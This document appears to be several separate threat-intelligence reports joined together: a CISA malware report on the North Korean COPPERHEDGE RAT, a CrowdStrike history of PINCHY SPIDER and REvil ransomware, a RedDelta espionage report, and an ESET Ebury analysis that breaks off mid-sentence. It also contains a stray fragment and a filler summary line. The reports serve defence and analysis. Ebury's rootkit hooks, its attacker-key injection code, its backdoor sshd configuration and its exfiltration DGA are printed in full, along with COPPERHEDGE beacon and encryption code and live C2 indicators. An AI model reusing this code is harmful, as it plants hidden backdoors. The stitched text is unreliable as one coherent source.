delve into additional project source code, helping communities to better map and classify MuddyWater APT.
# North Korean Remote Access Tool: COPPERHEDGE **Notification** This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of the information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise. This document is marked TLP:WHITE—Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed. For more information on the Traffic Light Protocol (TLP), see us-cert.gov/tlp. ## Summary ### Description This Malware Analysis Report (MAR) is the result of analytic efforts between the Department of Homeland Security (DHS), the Federal Bureau of Investigation (FBI), and the Department of Defense (DoD). Working with U.S. Government partners, DHS, FBI, and DoD identified Remote Access Tool (RAT) malware variants used by the North Korean government. This malware variant has been identified as COPPERHEDGE. The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA. FBI has high confidence that HIDDEN COBRA actors are using malware variants in conjunction with proxy servers to maintain a presence on victim networks for further network exploitation. DHS, FBI, and DoD are distributing this MAR to enable network defense and reduce exposure to North Korean government activity. This MAR includes malware descriptions related to HIDDEN COBRA, suggested response actions, and recommended mitigation techniques. Users should flag activity associated with the malware and report the activity to the Cybersecurity and Infrastructure Security Agency (CISA) or the FBI Cyber Division and give the activity the highest priority for enhanced mitigation. The Manuscrypt family of malware is used by advanced persistent threat (APT) cyber actors in the targeting of cryptocurrency exchanges and related entities. It is a full-featured Remote Access Tool (RAT) capable of running arbitrary commands, performing system reconnaissance, and exfiltrating data. Six variants have been identified based on network and code features. The variants are categorized based on common code and a common class structure. A symptom of the implants identifying a class name of "WinHTTP_Protocol" and later "WebPacket". ### Variants Breakdown **Variant A** - D8AF45210BF931BC5B03215ED30FB731E067E91F25EDA02A404BD55169E3E3C3 - 7985AF0A87780D27DC52C4F73C38DE44E5AD477CB78B2E8E89708168FBC4A882 **Variant B** - E98991CDD9DDD30ADF490673C67A4F8241993F26810DA09B52D8748C6160A292 - 4838F85499E3C68415010D4F19E83E2C9E3F2302290138ABE79C380754F97324 - E76B3FD3E906AC23218B1FBD66FD29C3945EE209A29E9462BBC46B07D1645DE2 - 1FAAA939087C3479441D9F9C83A80AC7EC9B929E626CB34A7417BE9FF0316FF7 - 3FF4EBAE6C255D4AE6B747A77F2821F2B619825C7789C7EE5338DA5ECB375395 - C2F150DBE9A8EFB72DC46416CA29ACDBAE6FD4A2AF16B27F153EAABD4772A2A1 - 1678327C5F36074CF5F18D1A92C2D9FEA9BFAE6C245EAAD01640FD75AF4D6C11 - C0EE19D7545F98FCD15725A3D9F0DBD0F35B2091E1C5B9CF4744F16E81A030C5 - 9E4BD9676BB3460BE68BA4559A824940A393BDE7613850EDA9196259E453B9F3 - EEE38C632C62CA95B5C66F8D39A18E23B9175845560AF84B6A2F69B7F9B6EC1C - F6E1A146543D2903146698DA5698B2A214201720C0BE756C6E8D2A2F27DCFAFF **Variant C** - 37BB27F4EB40B8947E184AFDDBA019001C12F97588E7F596AB6BC07F7C152602 - E6FC788B5FF7436DA4450191A003966A68E2A1913C83F1D3AEC78C65F3BA85CA - 284BC471647F951C79E3E333B2B19AA37F84CC39B55441A82E2A5F7319131FAC - A1CDB784100906D0AC895297C5A0959AB21A9FB39C687BAF176324EE84095472 **Variant D** - B4BF6322C67A23553D5A9AF6FCD9510EB613FFAC963A21E32A9CED83132A09BA **Variant E** - 134B082B418129FFA390FBEE1568BD9510C54BFDD0E6B1F36BC7B8F867E56283 **Variant F** - 0A763DA26A67CB2B09A3AE6E1AC07828065EB980E452CE7D3354347976038E7E - 1884DDC53EF66488CA8FC641B438895FCAADA77C15210118465377C63223B3BC - C24C322F4535DEF3F8D1579C39F2F9E323787D15B96E2EE457C38925EFFE2D39 ### Submitted Files (22) - 0a763da26a67cb2b09a3ae6e1ac07828065eb980e452ce7d3354347976038e7e - 134b082b418129ffa390fbee1568bd9510c54bfdd0e6b1f36bc7b8f867e56283 - 1678327c5f36074cf5f18d1a92c2d9fea9bfae6c245eaad01640fd75af4d6c11 - 501884ddc53ef66488ca8fc641b438895fcaada77c15210118465377c63223b3bc - 1faaa939087c3479441d9f9c83a80ac7ec9b929e626cb34a7417be9ff0316ff7 - 284bc471647f951c79e3e333b2b19aa37f84cc39b55441a82e2a5f7319131fac - 37bb27f4eb40b8947e184afddba019001c12f97588e7f596ab6bc07f7c152602 - 3ff4ebae6c255d4ae6b747a77f2821f2b619825c7789c7ee5338da5ecb375395 - 4838f85499e3c68415010d4f19e83e2c9e3f2302290138abe79c380754f97324 - 7985af0a87780d27dc52c4f73c38de44e5ad477cb78b2e8e89708168fbc4a882 - 9e4bd9676bb3460be68ba4559a824940a393bde7613850eda9196259e453b9f3 - a1cdb784100906d0ac895297c5a0959ab21a9fb39c687baf176324ee84095472 - b4bf6322c67a23553d5a9af6fcd9510eb613ffac963a21e32a9ced83132a09ba - c0ee19d7545f98fcd15725a3d9f0dbd0f35b2091e1c5b9cf4744f16e81a030c5 - c24c322f4535def3f8d1579c39f2f9e323787d15b96e2ee457c38925effe2d39 - c2f150dbe9a8efb72dc46416ca29acdbae6fd4a2af16b27f153eaabd4772a2a1 - d8af45210bf931bc5b03215ed30fb731e067e91f25eda02a404bd55169e3e3c3 - e6fc788b5ff7436da4450191a003966a68e2a1913c83f1d3aec78c65f3ba85ca - e76b3fd3e906ac23218b1fbd66fd29c3945ee209a29e9462bbc46b07d1645de2 - e98991cdd9ddd30adf490673c67a4f8241993f26810da09b52d8748c6160a292 - eee38c632c62ca95b5c66f8d39a18e23b9175845560af84b6a2f69b7f9b6ec1c - f6e1a146543d2903146698da5698b2a214201720c0be756c6e8d2a2f27dcfaff ### Domains (42) - 028xmz.com - 168wangpi.com - 33cow.com - 3x-tv.com - 51shousheng.com - 530hr.com - 919xy.com - 92myhw.com - 97nb.net - aedlifepower.com - aisou123.com - aloe-china.com - anlway.com - ap8898.com - apshenyihl.com - as-brant.ru - aurumgroup.co.id - bogorcenter.com - cabba-cacao.com - castorbyg.dk - creativefishstudio.com - danagloverinteriors.com - duratransgroup.com - eventum.cwsdev3.biz - eygingenieros.com - growthincone.com - inverstingpurpose.com - locphuland.com - markcoprintandcopy.com - marmarademo.com - matthias-dlugi.de - new.titanik.fr - nuokejs.com - pakteb.com - qdbazaar.com - rhythm86.com - rxrenew.us - sensationalsecrets.com - stokeinvestor.com - streamf.ru - theinspectionconsultant.com - vinhsake.com ### Findings **d8af45210bf931bc5b03215ed30fb731e067e91f25eda02a404bd55169e3e3c3** **Tags:** backdoortrojan **Details:** - **Name:** 12C786C490366727CF7279FC141921D8 - **Size:** 166400 bytes - **Type:** PE32 executable (DLL) (GUI) Intel 80386, for MS Windows - **MD5:** 12c786c490366727cf7279fc141921d8 - **SHA1:** a2e966edee45b30bb6bb5c978e55833eec169098 - **SHA256:** d8af45210bf931bc5b03215ed30fb731e067e91f25eda02a404bd55169e3e3c3 - **SHA512:** 3abe4cd0d287fdf38715feac4096a16ed8c9ed113897e8e8e26d22adb4346df3c8a14a2c6660fbc2e01beb98e5cc770616866e5e319cfd - **ssdeep:** 3072:G2K5QbCpgMFlQ0O4t5E13j0S0wBiCRcnHaApUiCDyY:G2bSQ0NS3jq6Apm - **Entropy:** 6.529499 **Antivirus:** - Ahnlab: Trojan/Win32.Manuscrypt - Antiy: Trojan/Win32.Manuscrypt - Avira: TR/AD.APTLazerus.gqbgi - BitDefender: Gen:Variant.Graftor.452205 - ClamAV: Win.Trojan.Agent-6459669-0 - Cyren: W32/Nukesped.EBPS-8656 - ESET: a variant of Win32/NukeSped.AG trojan - Emsisoft: Gen:Variant.Graftor.452205 (B) - Ikarus: Trojan-Spy.Agent - K7: Trojan (005202c91) - McAfee: HiddenCobra!12C786C49036 - Microsoft Security Essentials: Trojan:Win32/Autophyte.M!dha - NANOAV: Trojan.Win32.Manuscrypt.eyleld - NetGate: Trojan.Win32.Malware - Sophos: Troj/Agent-AYKU - Symantec: Backdoor.Cruprox - Systweak: malware.gen-ra - TrendMicro: TROJ_NUKESPED.B - TrendMicro House Call: TROJ_NUKESPED.B - Vir.IT eXplorer: Trojan.Win32.Genus.BGU - VirusBlokAda: BScope.Trojan.Manuscrypt - Zillya!: Trojan.Manuscrypt.Win32.10 **YARA Rules:** ``` rule CISA_3P_10135536_24 : success_fail_codes { meta: Author = "CISA Trusted Third Party" Incident = "10135536-A" Date = "2017-11-14" Actor = "Hidden Cobra" Category = "n/a" Family = "FALLCHILL" Description = "" strings: $s0 = { 68 7a 34 12 00 } $s1 = { ba 7a 34 12 00 } $f0 = { 68 5c 34 12 00 } $f1 = { ba 5c 34 12 00 } condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and (($s0 and $f0) or ($s1 and $f1)) } ``` **ssdeep Matches:** No matches found. **PE Metadata:** - **Compile Date:** 2018-02-24 01:52:42-05:00 - **Import Hash:** 04f1d2f5c7c06a209c29beeff2fce817 **PE Sections:** | MD5 | Name | Raw Size | Entropy | | --- | ---- | -------- | ------- | | c37a64a60af18ec7b8360e84d5b85d0d | header | 1024 | 2.917803 | | 3056f69baa8301ae1f6aef85bf88d0b8 | .text | 121344 | 6.526051 | | 3c4cc09c827a1bb000669e8922d7d6d9 | .rdata | 29184 | 5.443973 | | 4cda142760a96a9e47daeafc0ea5ed7c | .data | 5120 | 5.302725 | | 8b7fa4533b5f57eebfd85a72154aeafe | .gfids | 512 | 2.058608 | | f040daaf746c66507cba208212c65d00 | .rsrc | 2560 | 2.715102 | | 0d82adf85bb2476ed8bd2bb6c297e301 | .reloc | 6656 | 6.477462 | **Packers/Compilers/Cryptors:** Borland Delphi 3.0 (???) **Relationships:** - d8af45210bf931bc5b03215ed30fb731e067e91f25eda02a404bd55169e3e3c3 Connected_To 530hr.com - d8af45210bf931bc5b03215ed30fb731e067e91f25eda02a404bd55169e3e3c3 Connected_To 028xmz.com - d8af45210bf931bc5b03215ed30fb731e067e91f25eda02a404bd55169e3e3c3 Connected_To 168wangpi.com ### Description This file is a 32-bit Dynamic Link Library (DLL) and has been identified as Variant A. Variant A uses RC4 encryption to obfuscate import loading with "0x78292E4C5DA3B5D067F081B736E5D593". A hard-coded string of "*dJU!*JE&!M@UNQ@" is embedded in the malware beacons. This variant generates Hypertext Transfer Protocol (HTTP) header strings using a custom character manipulation where certain ranges of characters are modified by subtracting a constant value of 9. Variant A will generate HTTP POST requests with the following format: ``` --Begin HTTP POST request-- POST /<uri> HTTP/1.1 Connection: keep-alive Cache-Control: max-age=0 Accept: */* Content-Type: multipart/form-data; boundary=----FormBoundary<randomCharacters> Accept-Encoding: gzip,deflate,sdch Accept-Language: ko-KR User-Agent: <obtained from ObtainUserAgentString otherwise: Mozilla/5.0 (Windows NT 6.1; WOW64) Chrome/28.0.1500.95 Safari/537.36> Host: <domain> Content-Length: <length> ------FormBoundary<randomCharacters> Content-Disposition: form-data; name="board_id" <sessionID> ------FormBoundary<randomCharacters> Content-Disposition: form-data; name="user_id" <*dJU!*JE&!M@UNQ@ if beacon request otherwise empty> ------FormBoundary<randomCharacters> Content-Disposition: form-data; name="file1"; filename="<randomly picked>" Content-Type: application/octet-stream <datagram> --End HTTP POST request-- ``` Variant A uses a custom algorithm to encrypt data from datagrams. An implementation of the algorithm is provided below: ``` --Begin custom algorithm-- modVal = 0x6be addVal = 0x95d9 keyVal = 0x25 def encrypt(data): global keyVal r = "" for c in data: r += chr((ord(c) ^ keyVal) & 0xff) keyVal = (((ord(c) + keyVal) % modVal) + addVal) & 0xffffffff return r --End custom algorithm-- ``` ### Screenshots **Figure 1** - Variant A contains the commands displayed in the table. **530hr.com** **Tags:** command-and-control **URLs:** - 530hr.com/data/common.php **Relationships:** - 530hr.com Connected_From d8af45210bf931bc5b03215ed30fb731e067e91f25eda02a404bd55169e3e3c3 - 530hr.com Connected_From 7985af0a87780d27dc52c4f73c38de44e5ad477cb78b2e8e89708168fbc4a882 **Description:** 12C786C490366727CF7279FC141921D8 and C6801F90AAA11CE81C9B66450E002972 attempt to connect to the domain. **028xmz.com** **Tags:** command-and-control **URLs:** - 028xmz.com/include/common.php **Relationships:** - 028xmz.com Connected_From d8af45210bf931bc5b03215ed30fb731e067e91f25eda02a404bd55169e3e3c3 - 028xmz.com Connected_From 7985af0a87780d27dc52c4f73c38de44e5ad477cb78b2e8e89708168fbc4a882 **Description:** 12C786C490366727CF7279FC141921D8 and C6801F90AAA11CE81C9B66450E002972 attempt to connect to the domain. **168wangpi.com** **Tags:** command-and-control **URLs:** - 168wangpi.com/include/charset.php **Relationships:** - 168wangpi.com Connected_From d8af45210bf931bc5b03215ed30fb731e067e91f25eda02a404bd55169e3e3c3 - 168wangpi.com Connected_From 7985af0a87780d27dc52c4f73c38de44e5ad477cb78b2e8e89708168fbc4a882 **Description:** 12C786C490366727CF7279FC141921D8 and C6801F90AAA11CE81C9B66450E002972 attempt to connect to the domain. ### Additional Details The report continues with further details on other variants, their relationships, and findings, which can be summarized similarly.
# The Evolution of PINCHY SPIDER from GandCrab to REvil **Adam Meyers** **July 6, 2021** For years, ransomware was a nuisance that impacted individuals who were unfortunate enough to encounter it via banking trojans, exploit kits, or phishing attacks and resulted in a large number of small-value ransoms — typically hundreds of dollars per incident. In 2016, a terrifying new model began to emerge fueled by reports of high-value ransom demands targeting hospitals and medical facilities that were forced to pay ransoms in the tens of thousands of dollars. These attacks, which we now call “big game hunting” (BGH), were conducted by well-known criminal groups using existing banking trojans that were repurposed for enterprise ransomware attacks. This model of attacking the enterprise illustrates that attackers realized they could make far more money going after highly targeted organizations. These targets started with healthcare but quickly morphed to large organizations that could calculate downtime in lost revenue, where at some point not long after the attack, the cost of being offline was higher than the ransom demand. This is what the attackers were counting on, and as such we observed manufacturing, technology, industrial targets, state and local governments, and school districts all becoming attractive targets for big game hunters — organizations and verticals that often lagged broader industry in terms of security sophistication. ## The Advent of RaaS (and Emergence of PINCHY SPIDER) What began with closed specialized groups conducting these attacks soon morphed into ransomware as a service (RaaS), where a small circle of developers with criminal intent would create a platform for building encrypters and decryptors, and managing the ransom notes and payment portals. These groups would take on affiliates, known in Russian slang as “partnerkas,” who would leverage the platform for the actual ransom activity and be responsible for the targeting, deployment, and execution of the attack. These affiliates would then share the revenue with the platform operators for the privilege to use the service. In early 2018, one such RaaS, named GandCrab by its developers, hit the underground markets. The early versions of GandCrab had some implementation flaws, and the developers learned lessons that helped refine their business model. For example, early versions of GandCrab exchanged cryptographic keys insecurely, and organizations that recorded all network sessions could recover the keys. GandCrab operators initially sought partners to help them evolve the platform by offering a revenue-sharing model, which continued to evolve over the years. Some of the prohibitions for the affiliates of GandCrab included: - Targeting machines in Russia and other Commonwealth of Independent States (CIS) countries (the malware will not infect machines using these keyboards and other parameters specific to these countries) - Using unverified antivirus scanners - Publicly listing the admin panel .onion address - Reselling accounts One of the notable differentiators for GandCrab included payment via the Dash cryptocurrency. Shortly after the introduction of GandCrab, the payment portal was compromised, resulting in free decryptors being published. The adversary (i.e., GandCrab developer) responded by announcing a version 2.0 would be available as a result, which they made good on within a week. CrowdStrike began tracking this ransomware platform developer as PINCHY SPIDER, observing that they continued to innovate with newer versions of the ransomware. Version 4.2.1, for example, was released as a result of an antivirus company releasing a “vaccine” for version 4.1.2, indicating that PINCHY SPIDER actors were continuously monitoring social media and open sources for discussion of their tools. As the end-of-year holidays rolled around in 2018, PINCHY SPIDER announced that they would have limited support during the holidays but would release a new version by the Russian Orthodox Christmas. GandCrab operations continued to improve and develop throughout the first half of 2019, but on May 31, 2019, they announced, “All good things come to an end,” claiming their affiliates made $2 billion USD over the previous year and that PINCHY SPIDER themselves made $150 million USD. They announced that they would be shutting down in 20 days and that victims should pay or lose their data forever. ## GandCrab Evolves Into REvil As the GandCrab samples stopped being identified and the payment portal was decommissioned, another ransomware began to become more prevalent, first identified a few months earlier and known as “Sodinokibi.” This new ransomware shared technical overlaps as well as distribution and operational overlaps with GandCrab, leading CrowdStrike Intelligence to suspect these two ransomware were related. By July 2019, “REvil” became another name for this new ransomware, which quickly became one of the more prevalent ransomware tools observed. By December of 2019, a managed service provider (MSP) became a victim of PINCHY SPIDER’s REvil ransomware, demanding a $6 million USD payment. At the time, CrowdStrike Intelligence noted they “will likely continue to compromise managed service providers and make use of remote management software to spread REvil ransomware in order to ransom many companies from a single point of entry.” As the world became impacted by the COVID-19 pandemic in early 2020, PINCHY SPIDER started capitalizing on a new trend of stealing data and further extorting the victim to pay for their data to not get publicly leaked, suggesting that victims might be subject to fines due to the EU’s General Data Protection Regulation (GDPR) if they did not pay. In May 2021, the Colonial Pipeline ransomware attack made headlines across the globe, prompting the U.S. government to make statements about the attack and its implications. This attack was associated with another RaaS known as DarkSide, which CrowdStrike associates with CARBON SPIDER. As a result of the increased attention, PINCHY SPIDER issued new rules for their REvil RaaS affiliates, including the need to screen potential ransomware victims prior to infection. Only a few weeks later, PINCHY SPIDER was associated with a second breach targeting JBS, which resulted in additional statements from the U.S. Department of Justice indicating that ransomware investigations would be conducted similar to counterterrorism investigations. This prompted someone associated with PINCHY SPIDER to state that they were lifting targeting prohibitions, stating: “It no longer makes sense to avoid working in the United States, all restrictions have been removed. You can work in all types of activities of a given state.” ## Protection Against PINCHY SPIDER and REvil PINCHY SPIDER remains one of the most prevalent threat actors in the ransomware and data extortion space. Protecting against this type of threat requires organizations to get serious about security. Hope is not a strategy, and organizations closing their eyes and hoping they aren’t going to be hit by ransomware will not work. Here are five things that can help: 1. **Secure the enterprise:** This is what security experts have been saying for two decades: Ensure that the enterprise is defendable. Implementing sound security methodologies, patch management, vulnerability tracking, and Zero Trust go a long way to help drive security and make an enterprise a harder target. 2. **Engage the threat:** Waiting for the attacker to come to you is a dangerous precedent. Threat hunting ensures that any security incident, no matter how small, is investigated by dedicated hunters who go out and look for trouble. If you can engage these threats quickly before they elevate privilege or move laterally, you can prevent the ultimate objective, whether that is information theft or ransomware. 3. **Next-gen tech:** Signature-based antivirus technology doesn’t cut it anymore. Machine learning classifiers that can determine if something is malicious based on its behavior or other observable traits are table stakes for defending the enterprise today. 4. **Tabletop exercises:** You play like you practice. You can have the best backup solution in the world, but if you have no idea who to call, which systems to bring up first, or have never tested the recovery at scale, then you’re doing it for the first time during a major incident. A tabletop exercise can help build the muscle memory that an organization needs so that its teams know what to do when a situation presents itself. These can be conducted quarterly or even monthly and have different scenarios to help ensure that everyone is training for different threats. 5. **Intelligence:** There are dozens of different big game hunting adversaries that operate today. Understanding how they operate, who they are, and what they target can ensure that your enterprise defenders are ready for the threat and know what to look for.
# RedDelta Threat Activity Report This report details recent activity conducted by the likely Chinese state-sponsored threat activity group RedDelta. The activity was identified through a combination of large-scale automated network traffic analytics and expert analysis. **Key Judgments** - RedDelta has consistently conducted long-term cyber espionage campaigns in line with the strategic interests of the Chinese government, including historical targeting of government and public sector organizations across Asia and Europe as well as overseas organizations associated with minority groups within mainland China, such as Tibetan and Catholic Church-related entities. - Despite the volume of public reporting on the group’s activity, RedDelta employs a high operational tempo relative to other state-sponsored actors. The group also maintains a rapid pace of development for its flagship backdoor (remote access trojan [RAT]), a variant of the long-running backdoor PlugX that is heavily customized for anti-analysis and detection evasion. - In November 2022, RedDelta actors shifted from using archive files to using malicious optical disc image (ISO) files containing a simplified shortcut (LNK) file for delivery of an updated PlugX payload. - During the 3-month period from September through November 2022, RedDelta regularly used an infection chain employing malicious shortcut (LNK) files, which trigger a dynamic-link library (DLL) search-order-hijacking execution chain to load consistently updated PlugX versions. Throughout this period, the group repeatedly employed decoy documents specific to government and migration policy within Europe. **Background** In mid-2020, we published research identifying RedDelta intrusions targeting several Catholic Church-related organizations, including the Vatican and the Catholic Diocese of Hong Kong. This activity took place in the lead-up to negotiations between Chinese Communist Party (CCP) and Vatican officials. These findings were corroborated by NortonLifeLock and other public reporting. In addition to targeting entities related to the Catholic Church, we also identified RedDelta network intrusions affecting law enforcement and government entities in India, a government organization in Indonesia, and other targets across Myanmar, Hong Kong, and Australia. In this activity, the group used multiple malware variants including a customized PlugX variant, Cobalt Strike, and Poison Ivy. **Threat/Technical Analysis** Shortly after the publication disclosing activity targeting the Vatican, we identified renewed RedDelta activity targeting European government and diplomatic organizations, in many cases using lure documents centered on the war in Ukraine. Since this reporting, we have continued to observe similar activity targeting Europe, some of which has been covered through Secureworks reporting. In contrast to historical activity, RedDelta has largely moved away from use of domain names for C2 infrastructure toward hardcoded actor-controlled virtual private server (VPS) IP addresses. Since March 2022, the group has used a wide variety of autonomous systems (ASs), with a particular preference for specific ASNs. **Victimology** We observed likely victims in Vietnam and Myanmar communicating with RedDelta C2 infrastructure throughout 2022, which aligns with the typical historical targeting of the group. We also identified multiple IP addresses associated with a European government department focused on trade regularly communicating with the RedDelta C2 IP address. **Indicators of Compromise** **Network Infrastructure:** - 5.34.182[.]68 - 38.55.105[.]46 - 43.154.25[.]220 - 45.90.59[.]153 - 45.147.26[.]45 - 82.118.21[.]86 - 88.218.193[.]76 - 88.218.193[.]247 - 103.192.226[.]46 - 103.192.226[.]87 - 114.115.138[.]44 - 185.80.201[.]4 - 62.233.57[.]49 - 185.14.29[.]26 **Domains:** - microsite-manager[.]com - mashupdatabase[.]com - blogdirve[.]com **Malware Samples:** - Unilateral statement by the Commission on migration.iso - Written comments of Hungary.rar - Political Guidance for the new EU approach towards Russia.rar **Mitigations** - Configure your intrusion detection systems (IDS), intrusion prevention systems (IPS), or any network defense mechanisms to alert on and review illicit connection attempts. - Where possible, alert on use of known disk image file types, such as ISO, and shortcut files. - Practice network segmentation and ensure special protections exist for sensitive information, such as multi-factor authentication. - Keep all software and applications up to date, particularly operating systems and antivirus software. - Filter email correspondence and scrutinize attachments for malware. This report serves as a comprehensive overview of RedDelta's activities and the necessary precautions organizations should take to mitigate potential threats.
# Windigo Still not Windigone: An Ebury Update In 2014, ESET researchers wrote a blog post about an OpenSSH backdoor and credential stealer called Linux/Ebury. In 2017, the team found a new Ebury sample. Back in February 2014, ESET researchers wrote a blog post about an OpenSSH backdoor and credential stealer called Linux/Ebury. Further research showed that this component was the core of an operation involving multiple malware families we called “Operation Windigo.” This led to the publication of a whitepaper covering the full operation. In February 2017, we found a new Ebury sample that introduces a significant number of new features. The version number was bumped to 1.6.2a. At the time of that discovery, the latest versions we had seen were 1.5.x, months before. After further investigation, we realized that its infrastructure for exfiltrating credentials was still operational and that Ebury was still being actively used by the Windigo gang. The original IoCs that we provided back in 2014 are for version 1.4 of Ebury. On their website, CERT-Bund updated the IoCs for version 1.5. In this blog post, we provide technical details about version 1.6, which we discovered in February 2017. We also share updated IoCs for versions 1.5 and 1.6. ## New DGA for exfiltration fallback Ebury v1.4 has a fallback mechanism whereby a domain generation algorithm (DGA) is used when the attacker doesn’t connect to the infected system via the OpenSSH backdoor for three days. Under these conditions, Ebury will exfiltrate the collected data using the generated domain. Ebury v1.6 has the same mechanism, but there is a minor change to the DGA itself. Only the constants changed between these two versions. ```python def DGA(domain_no): ords = lambda c: struct.unpack("b", c)[0] TLDS = ['info', 'net', 'biz'] KEY = "fmqzdnvcyelwaibsrxtpkhjguo" h = "%x" % ((domain_no * domain_no + 3807225) & 0xFFFFFFFF) g = "" for i in range(len(h))[::-1]: g += KEY[((ords(h[i]) * 3579) + (ords(h[-1]) + i + domain_no)) % len(KEY)] g += h[i] g += KEY[((ords(h[-1]) * 5612) + (len(h) + domain_no - 1)) % len(KEY)] g += '.%s' % TLDS[domain_no % len(TLDS)] return g ``` The first ten domains generated by the DGA are: - larfj7g1vaz3y.net - idkff7m1lac3g.biz - u2s0k8d1ial3r.info - h9g0q8a1hat3s.net - f2y1j8v1saa3t.biz - xdc1h8n1baw3m.info - raj2p8z1aae3b.net - o9f3v8r1oaj3p.biz - tav4h8n1baw3r.info - hdm5o8e1tas3n.net Ebury sequentially tries the generated domain names until it finds one that has a TXT record set by the operator. To verify the ownership of the domain, Ebury checks whether the TXT record can be decrypted using an RSA public key embedded in its code: ``` -----BEGIN RSA PUBLIC KEY----- MIGJAoGBAOadSGBGG9x/f1/U6KdwxfGzqSj5Bcy4aZpKv77uN4xYdS5HWmEub5Rj nAvtKybupWb3AUWwN7UPIO+2R+v6hrF+Gh2apcs9I9G7VEBiToi2B6BiZ3Ly68kj 1ojemjtrG+g//Ckw/osESWweSWY4nJFKa5QJzT39ErUZim2FPDmvAgMBAAE= -----END RSA PUBLIC KEY----- ``` The decrypted data has three comma-separated fields. Here’s an example of the data stored in the DNS entry for larfj7g1vaz3y.net in January 2018: ``` larfj7g1vaz3y.net:3328801113:1517346000 ``` The first field contains the domain name so the signed data cannot be reused for another domain. The second field is the C&C server IP address and the third field contains a UNIX timestamp used as the expiration date of the signed data. The expiration date is a new field added as an anti-sinkhole mechanism and is new to v1.6. If anyone were to try to seize or take ownership of both the domain and the IP address of the exfiltration server, then it would only be possible to reuse the signed data for a limited amount of time, reducing the impact of a successful sinkhole attempt. ### Changes summary - Slightly modified DGA (constants changed) - Added an expiration date for exfiltration server DNS entry validity - New registered domain: larfj7g1vaz3y.net - New exfiltration server IP address: 198.105.121.89 ## New features New functionalities were added in version 1.6. For unknown reasons, these new features were not available on all of the v1.6 samples we analyzed. Ebury now implements self-hiding techniques usually described as a “userland rootkit.” To do so, it hooks the readdir or readdir64 function, each of which is used to list directory entries. If the next directory structure to return is the Ebury shared library file, the hook skips it and returns the subsequent entry instead. ```c struct dirent *__fastcall readdir(__int64 a1) { struct dirent *dir_entry; // rax struct dirent *dir_entry_1; // rbx __ino_t inode; // rax do { if (!readdir_0) readdir_0 = F_resolve_func("readdir"); dir_entry = readdir_0(a1); dir_entry_1 = dir_entry; if (!exports_hook_activated) break; if (!dir_entry) break; if (!ebury_inode) break; inode = dir_entry->d_ino; if (inode != ebury_inode && inode != ebury_lstat_inode) break; } while (ebury_filename && !strncmp(dir_entry_1->d_name, ebury_filename, ebury_filename_len_before_extension); return dir_entry_1; } ``` Activation of these hooks is done by Ebury injecting its dynamic library into every descendant process of sshd. To inject itself into subprocesses, Ebury hooks execve and uses the dynamic linker LD_PRELOAD variable. Every time a new process is created, Ebury adds LD_PRELOAD=<Ebury_filename> to its environment. Once the new process is executed, Ebury’s dynamic library is loaded and its constructor is called, executing the hooking routines. Earlier versions of Ebury used to work only on very specific versions of OpenSSH and were Linux-distribution-specific. Typically, previous Ebury samples would work for three to five OpenSSH builds for a given Linux distribution. This is no longer the case. Most of the OpenSSH patching routines were replaced by function hooking. There are no hardcoded offsets anymore. We tried installing Ebury on machines running Debian Jessie, CentOS 7, and Ubuntu Artful with the same sample and it worked in all cases. To inject the OpenSSH server configuration directly into memory, Ebury parses the sshd binary’s code section mapped in the same process looking for two different functions. It tries to find the address of parse_server_config or process_server_config_line. If it fails, it downgrades security features by disabling SELinux Role-Based Access Control and deactivating PAM modules. When one of the functions is successfully resolved, Ebury will use this when the backdoor is used to tamper with sshd‘s configuration. ```plaintext PrintLastLog no PrintMotd no PasswordAuthentication no PermitRootLogin yes UseLogin no UsePAM no UseDNS no ChallengeResponseAuthentication no LogLevel QUIET StrictModes no PubkeyAuthentication yes AllowUsers n AllowGroups n DenyUsers n DenyGroups n AuthorizedKeysFile /proc/self/environ Banner /dev/null PermitTunnel yes AllowTcpForwarding yes PermitOpen any ``` Ebury’s authors also hardened their backdoor mechanism. Instead of relying only on a password encoded in the SSH client version string, activating the backdoor now requires a private key to authenticate. It is possible this extra check was added to prevent others who may have found the backdoor password from using it to gain access to the Ebury-compromised server. When there’s a backdoor connection attempt, Ebury modifies the AuthorizedKeysFile option to point to /proc/self/environ. It hooks open or open64 and checks whether there’s an attempt to open /proc/self/environ or a path containing .ssh/authorized_keys. The second check might be used as a fallback in case Ebury failed to resolve parse_server_config and process_server_config_line to push its own configuration. Ebury also hooks fgets which is called by sshd to read the content of the authorized_keys file. A global variable is used to make sure fgets is called after the authorized_keys file was opened. Then, the hook fills the fgets buffer with the Ebury operators’ public key so the attackers’ key is used for authentication. ```c char *__fastcall fgets_hook(char *s, __int64 size, FILE *stream) { int fd_env; // ebp char *result; // rax if (!(backdoor_command & 1)) return fgets_0(s); fd_env = fd_proc_self_environ; if (fd_proc_self_environ <= 0 || fd_env != fileno(stream)) return fgets_0(s); strcpy(s, "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDr3cAedzlH3aq3nrIaaQdWpqESH CvfGi4nySL1ikMJowgonAf5qFtH4JKMn7HhW5hWBAyYj2ygjzXd3BD+ADXDurAlDG bh0NsyCJDFCQ8Bsrwl7p5ZEPEfBOh99IBMbAOgqVmM9tTv7ci05yoBEEcFsNaBg00 H+m0GooLsNsl+5TG3a2aUg6Dg2CKfi55HHTHC/9rqoAdv7Gbc5Y7W8xrNIjOIuxDx Bx353bKO0uSuL06m2Q4m8kYlaw51ZWVylIhGOPm4ldqP4Jjls8QtL/Eg2ZD7epUq6 3E/xqI4tMEQl9BmW1Df5+LjbVRoEFBWEbMDfHZm7XNG5R3UiwX4H2Ub\n"); result = s; fd_proc_self_environ = 0; return result; } ``` Something that remains a mystery to us is the purpose of this memcpy hook: ```c char *__fastcall memcpy_hook(char *dst, const char *src, size_t len) { size_t len_1; // r12 char *result; // rax len_1 = len; memcpy_orig(dst, src, len); if (len_1 > 0x1F && !strncmp(src, "[email protected],", 0x1EuLL)) result = memcpy_orig(dst, src + 30, len_1 - 30); else result = dst; return result; } ``` While we know the hook is used to remove the chacha20-poly1305 algorithm during the SSH key exchange, we are puzzled as to why Ebury’s authors do not want this algorithm to be used. ## New installation methods Previously, Ebury added its payload inside the libkeyutils.so library. The file would contain both the legitimate libkeyutils functions and the Ebury malicious code, launched when loaded. When compromised, the file was larger than usual, a sign of compromise we shared back in 2014. While we’ve seen this technique used by version 1.6, 